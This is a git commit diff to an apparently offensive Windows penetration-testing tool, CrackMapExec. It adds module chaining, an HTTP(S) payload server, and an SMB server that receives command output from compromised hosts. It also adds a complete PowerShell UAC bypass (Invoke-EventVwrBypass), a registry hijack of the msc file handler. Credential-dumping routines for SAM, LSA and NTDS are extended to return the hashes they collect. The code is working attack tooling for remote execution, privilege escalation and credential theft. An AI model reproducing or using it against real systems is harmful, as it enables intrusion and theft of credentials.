Initial implementation of module chaining

Oook, this commit is basicallu just so I can start tracking (and
testing) all of the changes made so far:

- All execution methods are now completely fileless, all output and/or batch
  files get outputted/hosted locally on a SMB server that gets spun up on runtime

- Module structure has been modified for module chaining

- Module chaining implementation is currently very hacky, I definitly
  have to figure out something more elegant but for now it
  works. Module chaining is performed via the -MC flag and has it's own
  mini syntax (will be adding it to the wiki)

- You can now specify credential ID ranges using the -id flag
- Added the eventvwr_bypass and rundll32_exec modules
- Renamed a lot of the modules for naming consistency

TODO:

- Launchers/Payloads need to be escaped before being generated when
  module chaining

- Add check for modules 'required_server' attribute
- Finish modifying the functions in the Connection object so they return
  the results
main
byt3bl33d3r 2016-09-12 00:52:50 -06:00
parent e67fc4ca8f
commit db056d1ab4
32 changed files with 1080 additions and 395 deletions

109
cme/cmechainserver.py Normal file
View File

@ -0,0 +1,109 @@
import BaseHTTPServer
import threading
import ssl
import os
import sys
from BaseHTTPServer import BaseHTTPRequestHandler
from logging import getLogger
from gevent import sleep
from cme.helpers import highlight
from cme.logger import CMEAdapter
from cme.cmeserver import CMEServer
class RequestHandler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
module = self.server.host_chain[self.client_address[0]][0]
server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]})
server_logger.info("- - %s" % (format%args))
def do_GET(self):
current_module = self.server.host_chain[self.client_address[0]][0]
if hasattr(current_module, 'on_request'):
module_list = self.server.host_chain[self.client_address[0]][:]
module_list.reverse()
final_launcher = module_list[0].launcher(self.server.context, None if not hasattr(module_list[0], 'command') else module_list[0].command)
if len(module_list) > 2:
for module in module_list:
if module == current_module or module == module_list[0]:
continue
server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]})
self.server.context.log = server_logger
final_launcher = module.launcher(self.server.context, final_launcher)
server_logger = CMEAdapter(getLogger('CME'), {'module': current_module.name.upper(), 'host': self.client_address[0]})
self.server.context.log = server_logger
if current_module == module_list[0]: final_launcher = None if not hasattr(module_list[0], 'command') else module_list[0].command
launcher = current_module.launcher(self.server.context, final_launcher)
payload = current_module.payload(self.server.context, final_launcher)
current_module.on_request(self.server.context, self, launcher, payload)
if not hasattr(current_module, 'on_response'):
try:
del self.server.host_chain[self.client_address[0]][0]
except KeyError or IndexError:
pass
def do_POST(self):
self.server.log.debug(self.server.host_chain)
module = self.server.host_chain[self.client_address[0]][0]
if hasattr(module, 'on_response'):
server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]})
self.server.context.log = server_logger
module.on_response(self.server.context, self)
try:
del self.server.host_chain[self.client_address[0]][0]
except KeyError or IndexError:
pass
def stop_tracking_host(self):
'''
This gets called when a module has finshed executing, removes the host from the connection tracker list
'''
if len(self.server.host_chain[self.client_address[0]]) == 1:
try:
self.server.hosts.remove(self.client_address[0])
del self.server.host_chain[self.client_address[0]]
except ValueError:
pass
class CMEChainServer(CMEServer):
def __init__(self, chain_list, context, logger, srv_host, port, server_type='https'):
try:
threading.Thread.__init__(self)
self.server = BaseHTTPServer.HTTPServer((srv_host, int(port)), RequestHandler)
self.server.hosts = []
self.server.host_chain = {}
self.server.chain_list = chain_list
self.server.context = context
self.server.log = context.log
self.cert_path = os.path.join(os.path.expanduser('~/.cme'), 'cme.pem')
if server_type == 'https':
self.server.socket = ssl.wrap_socket(self.server.socket, certfile=self.cert_path, server_side=True)
except Exception as e:
errno, message = e.args
if errno == 98 and message == 'Address already in use':
logger.error('Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port')
else:
logger.error('Error starting HTTP(S) server: {}'.format(message))
sys.exit(1)
def track_host(self, host_ip):
self.server.hosts.append(host_ip)
self.server.host_chain[host_ip] = [module['object'] for module in self.server.chain_list]

View File

@ -3,7 +3,6 @@ import threading
import ssl import ssl
import os import os
import sys import sys
from getpass import getuser
from BaseHTTPServer import BaseHTTPRequestHandler from BaseHTTPServer import BaseHTTPRequestHandler
from logging import getLogger from logging import getLogger
from gevent import sleep from gevent import sleep
@ -20,7 +19,11 @@ class RequestHandler(BaseHTTPRequestHandler):
if hasattr(self.server.module, 'on_request'): if hasattr(self.server.module, 'on_request'):
server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]}) server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]})
self.server.context.log = server_logger self.server.context.log = server_logger
self.server.module.on_request(self.server.context, self)
launcher = self.server.module.launcher(self.server.context, None if not hasattr(self.server.module, 'command') else self.server.module.command)
payload = self.server.module.payload(self.server.context, None if not hasattr(self.server.module, 'command') else self.server.module.command)
self.server.module.on_request(self.server.context, self, launcher, payload)
def do_POST(self): def do_POST(self):
if hasattr(self.server.module, 'on_response'): if hasattr(self.server.module, 'on_response'):
@ -41,10 +44,6 @@ class CMEServer(threading.Thread):
def __init__(self, module, context, logger, srv_host, port, server_type='https'): def __init__(self, module, context, logger, srv_host, port, server_type='https'):
if port <= 1024 and os.geteuid() != 0:
logger.error("I'm sorry {}, I'm afraid I can't let you do that".format(getuser()))
sys.exit(1)
try: try:
threading.Thread.__init__(self) threading.Thread.__init__(self)
@ -61,15 +60,18 @@ class CMEServer(threading.Thread):
except Exception as e: except Exception as e:
errno, message = e.args errno, message = e.args
if errno == 98 and message == 'Address already in use': if errno == 98 and message == 'Address already in use':
logger.error('Error starting CME server: the port is already in use, try specifying a diffrent port using --server-port') logger.error('Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port')
else: else:
logger.error('Error starting CME server: {}'.format(message)) logger.error('Error starting HTTP(S) server: {}'.format(message))
sys.exit(1) sys.exit(1)
def base_server(self): def base_server(self):
return self.server return self.server
def track_host(self, host_ip):
self.server.hosts.append(host_ip)
def run(self): def run(self):
try: try:
self.server.serve_forever() self.server.serve_forever()

50
cme/cmesmbserver.py Normal file
View File

@ -0,0 +1,50 @@
import threading
import logging
import sys
import os
from impacket import smbserver
class CMESMBServer(threading.Thread):
def __init__(self, logger, share_name, verbose=False):
try:
threading.Thread.__init__(self)
self.server = smbserver.SimpleSMBServer()
self.server.addShare(share_name.upper(), os.path.join('/tmp', 'cme_hosted'))
if verbose: self.server.setLogFile('')
self.server.setSMB2Support(False)
self.server.setSMBChallenge('')
except Exception as e:
errno, message = e.args
if errno == 98 and message == 'Address already in use':
logger.error('Error starting SMB server: the port is already in use')
else:
logger.error('Error starting SMB server: {}'.format(message))
sys.exit(1)
def run(self):
try:
self.server.start()
except:
pass
def shutdown(self):
#try:
# while len(self.server.hosts) > 0:
# self.server.log.info('Waiting on {} host(s)'.format(highlight(len(self.server.hosts))))
# sleep(15)
#except KeyboardInterrupt:
# pass
self._Thread__stop()
# make sure all the threads are killed
for thread in threading.enumerate():
if thread.isAlive():
try:
thread._Thread__stop()
except:
pass

View File

@ -41,12 +41,14 @@ def requires_admin(func):
class Connection: class Connection:
def __init__(self, args, db, host, module, cmeserver): def __init__(self, args, db, host, module, chain_list, cmeserver, share_name):
self.args = args self.args = args
self.db = db self.db = db
self.host = host self.host = host
self.module = module self.module = module
self.chain_list = chain_list
self.cmeserver = cmeserver self.cmeserver = cmeserver
self.share_name = share_name
self.conn = None self.conn = None
self.hostname = None self.hostname = None
self.domain = None self.domain = None
@ -148,9 +150,13 @@ class Connection:
self.login() self.login()
if ((self.password is not None or self.hash is not None) and self.username is not None): if (self.password is not None or self.hash is not None) and self.username is not None:
if self.module or self.chain_list:
if self.chain_list:
module = self.chain_list[0]['object']
if self.module:
module_logger = CMEAdapter(getLogger('CME'), { module_logger = CMEAdapter(getLogger('CME'), {
'module': module.name.upper(), 'module': module.name.upper(),
'host': self.host, 'host': self.host,
@ -163,13 +169,42 @@ class Connection:
if hasattr(module, 'on_request') or hasattr(module, 'has_response'): if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
cmeserver.server.context.localip = local_ip cmeserver.server.context.localip = local_ip
if hasattr(module, 'on_login'): if self.module:
module.on_login(context, self)
if hasattr(module, 'on_admin_login') and self.admin_privs: launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command)
module.on_admin_login(context, self) payload = module.payload(context, None if not hasattr(module, 'command') else module.command)
elif self.module is None: if hasattr(module, 'on_login'):
module.on_login(context, self, launcher, payload)
if self.admin_privs and hasattr(module, 'on_admin_login'):
module.on_admin_login(context, self, launcher, payload)
elif self.chain_list:
module_list = self.chain_list[:]
module_list.reverse()
final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command)
if len(module_list) > 2:
for m in module_list:
if m['object'] == module or m['object'] == module_list[0]['object']:
continue
final_launcher = m['object'].launcher(context, final_launcher)
if module == module_list[0]['object']:
final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command
launcher = module.launcher(context, final_launcher)
payload = module.payload(context, final_launcher)
if hasattr(module, 'on_login'):
module.on_login(context, self)
if self.admin_privs and hasattr(module, 'on_admin_login'):
module.on_admin_login(context, self, launcher, payload)
elif self.module is None and self.chain_list is None:
for k, v in vars(self.args).iteritems(): for k, v in vars(self.args).iteritems():
if hasattr(self, k) and hasattr(getattr(self, k), '__call__'): if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
if v is not False and v is not None: if v is not False and v is not None:
@ -345,16 +380,16 @@ class Connection:
for cred_id in self.args.cred_id: for cred_id in self.args.cred_id:
with sem: with sem:
try: try:
c_id, credtype, domain, username, password = self.db.get_credentials(filterTerm=cred_id)[0] c_id, credtype, domain, username, password = self.db.get_credentials(filterTerm=int(cred_id))[0]
if not domain: domain = self.domain if not domain: domain = self.domain
if self.args.domain: domain = self.args.domain if self.args.domain: domain = self.args.domain
if credtype == 'hash' and not self.over_fail_limit(username): if credtype == 'hash' and not self.over_fail_limit(username):
self.hash_login(domain, username, password) if self.hash_login(domain, username, password): return
elif credtype == 'plaintext' and not self.over_fail_limit(username): elif credtype == 'plaintext' and not self.over_fail_limit(username):
self.plaintext_login(domain, username, password) if self.plaintext_login(domain, username, password): return
except IndexError: except IndexError:
self.logger.error("Invalid database credential ID!") self.logger.error("Invalid database credential ID!")
@ -442,7 +477,7 @@ class Connection:
if method == 'wmiexec': if method == 'wmiexec':
try: try:
exec_method = WMIEXEC(self.host, self.username, self.password, self.domain, self.conn, self.hash, self.args.share) exec_method = WMIEXEC(self.host, self.share_name, self.username, self.password, self.domain, self.conn, self.hash, self.args.share)
logging.debug('Executed command via wmiexec') logging.debug('Executed command via wmiexec')
break break
except: except:
@ -452,7 +487,7 @@ class Connection:
elif method == 'atexec': elif method == 'atexec':
try: try:
exec_method = TSCH_EXEC(self.host, self.username, self.password, self.domain, self.hash) #self.args.share) exec_method = TSCH_EXEC(self.host, self.share_name, self.username, self.password, self.domain, self.hash) #self.args.share)
logging.debug('Executed command via atexec') logging.debug('Executed command via atexec')
break break
except: except:
@ -462,7 +497,7 @@ class Connection:
elif method == 'smbexec': elif method == 'smbexec':
try: try:
exec_method = SMBEXEC(self.host, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share) exec_method = SMBEXEC(self.host, self.share_name, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share)
logging.debug('Executed command via smbexec') logging.debug('Executed command via smbexec')
break break
except: except:
@ -470,9 +505,7 @@ class Connection:
logging.debug(format_exc()) logging.debug(format_exc())
continue continue
if self.cmeserver: if self.cmeserver: self.cmeserver.track_host(self.host)
if hasattr(self.cmeserver.server.module, 'on_request') or hasattr(self.cmeserver.server.module, 'on_response'):
self.cmeserver.server.hosts.append(self.host)
output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8')) output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8'))
@ -502,7 +535,9 @@ class Connection:
@requires_admin @requires_admin
def ntds(self): def ntds(self):
return DumpSecrets(self).NTDS_dump() #We could just return the whole NTDS.dit database but in large domains it would be huge
#and would take up too much memory
DumpSecrets(self).NTDS_dump()
@requires_admin @requires_admin
def wdigest(self): def wdigest(self):

View File

@ -10,10 +10,14 @@ from argparse import RawTextHelpFormatter
from cme.connection import Connection from cme.connection import Connection
from cme.database import CMEDatabase from cme.database import CMEDatabase
from cme.logger import setup_logger, setup_debug_logger, CMEAdapter from cme.logger import setup_logger, setup_debug_logger, CMEAdapter
from cme.helpers import highlight from cme.helpers import highlight, gen_random_string
from cme.targetparser import parse_targets from cme.targetparser import parse_targets
from cme.moduleloader import ModuleLoader from cme.moduleloader import ModuleLoader
from cme.modulechainloader import ModuleChainLoader
from cme.cmesmbserver import CMESMBServer
from cme.first_run import first_run_setup from cme.first_run import first_run_setup
from getpass import getuser
from pprint import pformat
import sqlite3 import sqlite3
import argparse import argparse
import os import os
@ -56,7 +60,7 @@ def main():
parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets") parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets")
parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (default: 100)") parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (default: 100)")
parser.add_argument('-id', metavar="CRED_ID", nargs='*', default=[], type=int, dest='cred_id', help='Database credential ID(s) to use for authentication') parser.add_argument('-id', metavar="CRED_ID", nargs='*', default=[], type=str, dest='cred_id', help='Database credential ID(s) to use for authentication')
parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='*', default=[], help="Username(s) or file(s) containing usernames") parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='*', default=[], help="Username(s) or file(s) containing usernames")
ddgroup = parser.add_mutually_exclusive_group() ddgroup = parser.add_mutually_exclusive_group()
ddgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name") ddgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name")
@ -64,7 +68,9 @@ def main():
msgroup = parser.add_mutually_exclusive_group() msgroup = parser.add_mutually_exclusive_group()
msgroup.add_argument("-p", metavar="PASSWORD", dest='password', nargs= '*', default=[], help="Password(s) or file(s) containing passwords") msgroup.add_argument("-p", metavar="PASSWORD", dest='password', nargs= '*', default=[], help="Password(s) or file(s) containing passwords")
msgroup.add_argument("-H", metavar="HASH", dest='hash', nargs='*', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') msgroup.add_argument("-H", metavar="HASH", dest='hash', nargs='*', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
parser.add_argument("-M", "--module", metavar='MODULE', dest='module', help='Payload module to use') mcgroup = parser.add_mutually_exclusive_group()
mcgroup.add_argument("-M", "--module", metavar='MODULE', help='Payload module to use')
mcgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run')
parser.add_argument('-o', metavar='MODULE_OPTION', nargs='*', default=[], dest='module_options', help='Payload module options') parser.add_argument('-o', metavar='MODULE_OPTION', nargs='*', default=[], dest='module_options', help='Payload module options')
parser.add_argument('-L', '--list-modules', action='store_true', help='List available modules') parser.add_argument('-L', '--list-modules', action='store_true', help='List available modules')
parser.add_argument('--show-options', action='store_true', help='Display module options') parser.add_argument('--show-options', action='store_true', help='Display module options')
@ -131,18 +137,25 @@ def main():
cme_path = os.path.expanduser('~/.cme') cme_path = os.path.expanduser('~/.cme')
module = None module = None
server = None chain_list = None
context = None server = None
targets = [] context = None
smb_server = None
share_name = gen_random_string(5).upper()
targets = []
server_port_dict = {'http': 80, 'https': 443} server_port_dict = {'http': 80, 'https': 443}
args = parser.parse_args() args = parser.parse_args()
if os.geteuid() != 0:
logger.error("I'm sorry {}, I'm afraid I can't let you do that (cause I need root)".format(getuser()))
sys.exit(1)
if args.verbose: if args.verbose:
setup_debug_logger() setup_debug_logger()
logging.debug(vars(args)) logging.debug('Passed args:\n' + pformat(vars(args)))
if not args.server_port: if not args.server_port:
args.server_port = server_port_dict[args.server] args.server_port = server_port_dict[args.server]
@ -172,6 +185,14 @@ def main():
args.hash.remove(ntlm_hash) args.hash.remove(ntlm_hash)
args.hash.append(open(ntlm_hash, 'r')) args.hash.append(open(ntlm_hash, 'r'))
if args.cred_id:
for cred_id in args.cred_id:
if '-' in str(cred_id):
start_id, end_id = cred_id.split('-')
for n in range(int(start_id), int(end_id) + 1):
args.cred_id.append(n)
args.cred_id.remove(cred_id)
for target in args.target: for target in args.target:
if os.path.exists(target): if os.path.exists(target):
with open(target, 'r') as target_file: with open(target, 'r') as target_file:
@ -186,7 +207,7 @@ def main():
if args.list_modules: if args.list_modules:
for m in modules: for m in modules:
logger.info('{:<20} {}'.format(m, modules[m]['description'])) logger.info('{:<25} Chainable: {:<10} {}'.format(m, str(modules[m]['chain_support']), modules[m]['description']))
sys.exit(0) sys.exit(0)
elif args.module and args.show_options: elif args.module and args.show_options:
@ -200,13 +221,20 @@ def main():
if args.module.lower() == m.lower(): if args.module.lower() == m.lower():
module, context, server = loader.init_module(modules[m]['path']) module, context, server = loader.init_module(modules[m]['path'])
elif args.module_chain:
chain_list, server = ModuleChainLoader(args, db, logger).init_module_chain()
if args.execute or args.ps_execute or args.module or args.module_chain:
smb_server = CMESMBServer(logger, share_name, args.verbose)
smb_server.start()
try: try:
''' '''
Open all the greenlet (as supposed to redlet??) threads Open all the greenlet (as supposed to redlet??) threads
Whoever came up with that name has a fetish for traffic lights Whoever came up with that name has a fetish for traffic lights
''' '''
pool = Pool(args.threads) pool = Pool(args.threads)
jobs = [pool.spawn(Connection, args, db, str(target), module, server) for target in targets] jobs = [pool.spawn(Connection, args, db, str(target), module, chain_list, server, share_name) for target in targets]
#Dumping the NTDS.DIT and/or spidering shares can take a long time, so we ignore the thread timeout #Dumping the NTDS.DIT and/or spidering shares can take a long time, so we ignore the thread timeout
if args.ntds or args.spider: if args.ntds or args.spider:
@ -220,4 +248,8 @@ def main():
if server: if server:
server.shutdown() server.shutdown()
if smb_server:
pass
#smb_server.shutdown()
logger.info('KTHXBYE!') logger.info('KTHXBYE!')

View File

@ -181,6 +181,8 @@ class LSASecrets(OfflineRegistry):
self.__cachedItems.append(answer) self.__cachedItems.append(answer)
self.__logger.highlight(answer) self.__logger.highlight(answer)
return self.__cachedItems
def __printSecret(self, name, secretItem): def __printSecret(self, name, secretItem):
# Based on [MS-LSAD] section 3.1.1.4 # Based on [MS-LSAD] section 3.1.1.4
@ -302,6 +304,8 @@ class LSASecrets(OfflineRegistry):
self.__printSecret(key, secret) self.__printSecret(key, secret)
return self.__secretItems
def exportSecrets(self, fileName): def exportSecrets(self, fileName):
if len(self.__secretItems) > 0: if len(self.__secretItems) > 0:
fd = codecs.open(fileName+'.secrets','w+', encoding='utf-8') fd = codecs.open(fileName+'.secrets','w+', encoding='utf-8')

View File

@ -67,6 +67,7 @@ class SAMHashes(OfflineRegistry):
def dump(self): def dump(self):
NTPASSWORD = "NTPASSWORD\0" NTPASSWORD = "NTPASSWORD\0"
LMPASSWORD = "LMPASSWORD\0" LMPASSWORD = "LMPASSWORD\0"
sam_hashes = []
if self.__samFile is None: if self.__samFile is None:
# No SAM file provided # No SAM file provided
@ -114,8 +115,11 @@ class SAMHashes(OfflineRegistry):
answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash), hexlify(ntHash)) answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash), hexlify(ntHash))
self.__itemsFound[rid] = answer self.__itemsFound[rid] = answer
self.__logger.highlight(answer) self.__logger.highlight(answer)
sam_hashes.append(answer)
self.__db.add_credential('hash', self.__hostname, userName, '{}:{}'.format(hexlify(lmHash), hexlify(ntHash))) self.__db.add_credential('hash', self.__hostname, userName, '{}:{}'.format(hexlify(lmHash), hexlify(ntHash)))
return sam_hashes
def export(self, fileName): def export(self, fileName):
if len(self.__itemsFound) > 0: if len(self.__itemsFound) > 0:
items = sorted(self.__itemsFound) items = sorted(self.__itemsFound)

View File

@ -97,32 +97,47 @@ class DumpSecrets:
def SAM_dump(self): def SAM_dump(self):
self.enableRemoteRegistry() self.enableRemoteRegistry()
sam_hashes = []
try: try:
SAMFileName = self.__remoteOps.saveSAM() SAMFileName = self.__remoteOps.saveSAM()
self.__SAMHashes = SAMHashes(SAMFileName, self.__bootKey, self.__logger, self.__db, self.__host, self.__hostname, isRemote = True) self.__SAMHashes = SAMHashes(SAMFileName,
self.__SAMHashes.dump() self.__bootKey,
self.__logger,
self.__db,
self.__host,
self.__hostname,
isRemote = True)
sam_hashes.extend(self.__SAMHashes.dump())
self.__SAMHashes.export(self.__outputFileName) self.__SAMHashes.export(self.__outputFileName)
except Exception as e: except Exception as e:
traceback.print_exc() traceback.print_exc()
logging.error('SAM hashes extraction failed: %s' % str(e)) logging.error('SAM hashes extraction failed: %s' % str(e))
self.cleanup() self.cleanup()
return sam_hashes
def LSA_dump(self): def LSA_dump(self):
self.enableRemoteRegistry() self.enableRemoteRegistry()
lsa_secrets = []
try: try:
SECURITYFileName = self.__remoteOps.saveSECURITY() SECURITYFileName = self.__remoteOps.saveSECURITY()
self.__LSASecrets = LSASecrets(SECURITYFileName, self.__bootKey, self.__logger, self.__remoteOps, isRemote=self.__isRemote) self.__LSASecrets = LSASecrets(SECURITYFileName,
self.__LSASecrets.dumpCachedHashes() self.__bootKey,
self.__logger,
self.__remoteOps,
isRemote=self.__isRemote)
lsa_secrets.extend(self.__LSASecrets.dumpCachedHashes())
self.__LSASecrets.exportCached(self.__outputFileName) self.__LSASecrets.exportCached(self.__outputFileName)
self.__LSASecrets.dumpSecrets() lsa_secrets.extend(self.__LSASecrets.dumpSecrets())
self.__LSASecrets.exportSecrets(self.__outputFileName) self.__LSASecrets.exportSecrets(self.__outputFileName)
except Exception as e: except Exception as e:
traceback.print_exc() traceback.print_exc()
logging.error('LSA hashes extraction failed: %s' % str(e)) logging.error('LSA hashes extraction failed: %s' % str(e))
self.cleanup() self.cleanup()
return lsa_secrets
def NTDS_dump(self, method, pwdLastSet, history): def NTDS_dump(self, method, pwdLastSet, history):
self.__pwdLastSet = pwdLastSet self.__pwdLastSet = pwdLastSet
@ -158,10 +173,29 @@ class DumpSecrets:
def cleanup(self): def cleanup(self):
logging.info('Cleaning up... ') logging.info('Cleaning up... ')
if self.__remoteOps: if self.__remoteOps:
self.__remoteOps.finish() try:
self.__remoteOps.finish()
except:
logging.debug('Error calling remoteOps.finish(), traceback:')
logging.debug(traceback.format_exc())
if self.__SAMHashes: if self.__SAMHashes:
self.__SAMHashes.finish() try:
self.__SAMHashes.finish()
except:
logging.debug('Error calling SAMHashes.finish(), traceback:')
logging.debug(traceback.format_exc())
if self.__LSASecrets: if self.__LSASecrets:
self.__LSASecrets.finish() try:
self.__LSASecrets.finish()
except:
logging.debug('Error calling LSASecrets.finish(), traceback:')
logging.debug(traceback.format_exc())
if self.__NTDSHashes: if self.__NTDSHashes:
self.__NTDSHashes.finish() try:
self.__NTDSHashes.finish()
except:
logging.debug('Error calling NTDSHashes.finish(), traceback:')
logging.debug(traceback.format_exc())

View File

@ -0,0 +1,82 @@
function Invoke-EventVwrBypass {
<#
.SYNOPSIS
Bypasses UAC by performing an image hijack on the .msc file extension
Expected to work on Win7, 8.1 and Win10
Only tested on Windows 7 and Windows 10
Author: Matt Nelson (@enigma0x3)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.PARAMETER Command
Specifies the command you want to run in a high-integrity context. For example, you can pass it powershell.exe followed by any encoded command "powershell -enc <encodedCommand>"
.EXAMPLE
Invoke-EventVwrBypass -Command "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -enc IgBJAHMAIABFAGwAZQB2AGEAdABlAGQAOgAgACQAKAAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAFAAcgBpAG4AYwBpAHAAYQBsAF0AWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMASQBkAGUAbgB0AGkAdAB5AF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAKAApACkALgBJAHMASQBuAFIAbwBsAGUAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBCAHUAaQBsAHQASQBuAFIAbwBsAGUAXQAnAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAJwApACkAIAAtACAAJAAoAEcAZQB0AC0ARABhAHQAZQApACIAIAB8ACAATwB1AHQALQBGAGkAbABlACAAQwA6AFwAVQBBAEMAQgB5AHAAYQBzAHMAVABlAHMAdAAuAHQAeAB0ACAALQBBAHAAcABlAG4AZAA="
This will write out "Is Elevated: True" to C:\UACBypassTest.
#>
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Command,
[Switch]
$Force
)
$mscCommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
#Add in the new registry entries to hijack the msc file
if ($Force -or ((Get-ItemProperty -Path $mscCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
New-Item $mscCommandPath -Force |
New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
}else{
Write-Verbose "Key already exists, consider using -Force"
exit
}
if (Test-Path $mscCommandPath) {
Write-Verbose "Created registry entries to hijack the msc extension"
}else{
Write-Warning "Failed to create registry key, exiting"
exit
}
$EventvwrPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'eventvwr.exe'
#Start Event Viewer
if ($PSCmdlet.ShouldProcess($EventvwrPath, 'Start process')) {
$Process = Start-Process -FilePath $EventvwrPath -PassThru
Write-Verbose "Started eventvwr.exe"
}
#Sleep 5 seconds
Write-Verbose "Sleeping 5 seconds to trigger payload"
if (-not $PSBoundParameters['WhatIf']) {
Start-Sleep -Seconds 5
}
$mscfilePath = "HKCU:\Software\Classes\mscfile"
if (Test-Path $mscfilePath) {
#Remove the registry entry
Remove-Item $mscfilePath -Recurse -Force
Write-Verbose "Removed registry entries"
}
if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){
Stop-Process -Id $Process.Id
Write-Verbose "Killed running eventvwr process"
}
}

View File

@ -38,3 +38,5 @@ class ShareEnum:
self.logger.highlight(u'{:<15} {}'.format(share, 'NO ACCESS')) self.logger.highlight(u'{:<15} {}'.format(share, 'NO ACCESS'))
else: else:
self.logger.highlight(u'{:<15} {}'.format(share, ', '.join(perm))) self.logger.highlight(u'{:<15} {}'.format(share, ', '.join(perm)))
return self.permissions

View File

@ -1,14 +1,17 @@
import os
import logging
from impacket.dcerpc.v5 import tsch, transport from impacket.dcerpc.v5 import tsch, transport
from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dtypes import NULL
from cme.helpers import gen_random_string from cme.helpers import gen_random_string
from gevent import sleep from gevent import sleep
class TSCH_EXEC: class TSCH_EXEC:
def __init__(self, target, username, password, domain, hashes=None): def __init__(self, target, share_name, username, password, domain, hashes=None):
self.__target = target self.__target = target
self.__username = username self.__username = username
self.__password = password self.__password = password
self.__domain = domain self.__domain = domain
self.__share_name = share_name
self.__lmhash = '' self.__lmhash = ''
self.__nthash = '' self.__nthash = ''
self.__outputBuffer = '' self.__outputBuffer = ''
@ -36,21 +39,22 @@ class TSCH_EXEC:
def execute(self, command, output=False): def execute(self, command, output=False):
self.__retOutput = output self.__retOutput = output
self.doStuff(command) self.execute_handler(command)
return self.__outputBuffer return self.__outputBuffer
def doStuff(self, command): def output_callback(self, data):
self.__outputBuffer = data
def output_callback(data):
self.__outputBuffer = data
dce = self.__rpctransport.get_dce_rpc() def execute_handler(self, data):
if self.__retOutput:
try:
self.doStuff(data, fileless=True)
except:
self.doStuff(data)
else:
self.doStuff(data)
dce.set_credentials(*self.__rpctransport.get_credentials()) def gen_xml(self, command, tmpFileName, fileless=False):
dce.connect()
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
tmpName = gen_random_string(8)
xml = """<?xml version="1.0" encoding="UTF-16"?> xml = """<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
@ -92,66 +96,88 @@ class TSCH_EXEC:
<Command>cmd.exe</Command> <Command>cmd.exe</Command>
""" """
if self.__retOutput: if self.__retOutput:
tmpFileName = tmpName + '.tmp' if fileless:
xml+= """ <Arguments>/C {} &gt; %windir%\\Temp\\{} 2&gt;&amp;1</Arguments> local_ip = self.__rpctransport.get_socket().getsockname()[0]
</Exec> argument_xml = " <Arguments>/C {} &gt; \\\\{}\\{}\\{} 2&gt;&amp;1</Arguments>".format(command, local_ip, self.__share_name, tmpFileName)
</Actions> else:
</Task> argument_xml = " <Arguments>/C {} &gt; %windir%\\Temp\\{} 2&gt;&amp;1</Arguments>".format(command, tmpFileName)
""".format(command, tmpFileName)
elif self.__retOutput is False: elif self.__retOutput is False:
xml+= """ <Arguments>/C {}</Arguments> argument_xml = " <Arguments>/C {}</Arguments>".format(command)
logging.debug('Generated argument XML: ' + argument_xml)
xml += argument_xml
xml += """
</Exec> </Exec>
</Actions> </Actions>
</Task> </Task>
""".format(command) """
return xml
def doStuff(self, command, fileless=False):
dce = self.__rpctransport.get_dce_rpc()
dce.set_credentials(*self.__rpctransport.get_credentials())
dce.connect()
